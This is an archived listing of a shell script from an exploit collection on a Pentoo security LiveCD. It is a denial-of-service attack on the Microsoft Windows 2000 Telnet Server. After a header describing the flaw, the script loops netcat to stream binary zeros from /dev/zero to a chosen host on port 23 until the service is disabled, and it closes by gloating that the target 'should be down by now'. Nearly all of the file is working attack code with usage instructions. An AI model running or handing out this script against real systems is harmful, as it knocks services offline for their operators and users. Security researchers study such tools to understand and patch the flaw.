home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / telnet / msw2ktelnetdos.sh < prev   
Text File  |  2005-02-12  |  2KB  |  47 lines

  1. ##################################################################
  2. #                                                                #
  3. # Microsoft Windows 2000 Telnet Server DoS Vulnerability         #
  4. #                                                                #
  5. #                                                                #
  6. # Microsoft Windows 2000 Server comes with a telnet server to    #
  7. # provide remote console access. A remote attacker can send a    #
  8. # stream of binary zeros to the server, causing it to fail. If   #
  9. # automatic restart is enabled, numerous attacks will cause the  #
  10. # telnet server to restart until the maximum failure/restart     #
  11. # count is exceeded at which point the service is disabled.      #
  12. #                                                                #
  13. ##################################################################
  14.  
  15. nc_path="/usr/bin/nc"
  16. timez=1
  17. port=23
  18.  
  19. if test $# -lt 1
  20. then
  21.   echo "Microsoft Windows 2000 Telnet Server DoS by wildcoyote@coders-pt.org"
  22.   echo "Usage: msW2kTelnetDoS.sh <host> [number of timez to hit] [port]"
  23. else
  24.   echo "Microsoft Windows 2000 Telnet Server DoS by wildcoyote@coders-pt.org"
  25.   if test -f $nc_path
  26.   then
  27.     if test $# -eq 2
  28.     then
  29.       timez=$2
  30.     elif test $# -eq 3
  31.       then
  32.         port=$3
  33.       fi
  34.     test_var=0
  35.     echo "Hitting $1 [$port] $timez timez..."
  36.     while test $test_var -lt $timez
  37.     do
  38.       $nc_path $1 $port < /dev/zero
  39.       test_var=`expr $test_var + 1`
  40.     done
  41.     echo "All done...$1 should be down by now :]"
  42.   else
  43.     echo "netcat wasnt found on the path you defined ($nc_path)"
  44.   fi
  45.   echo "Regardz, wildcoyote@coders-pt.org"
  46. fi
  47. /*                    www.hack.co.za           [1 August]*/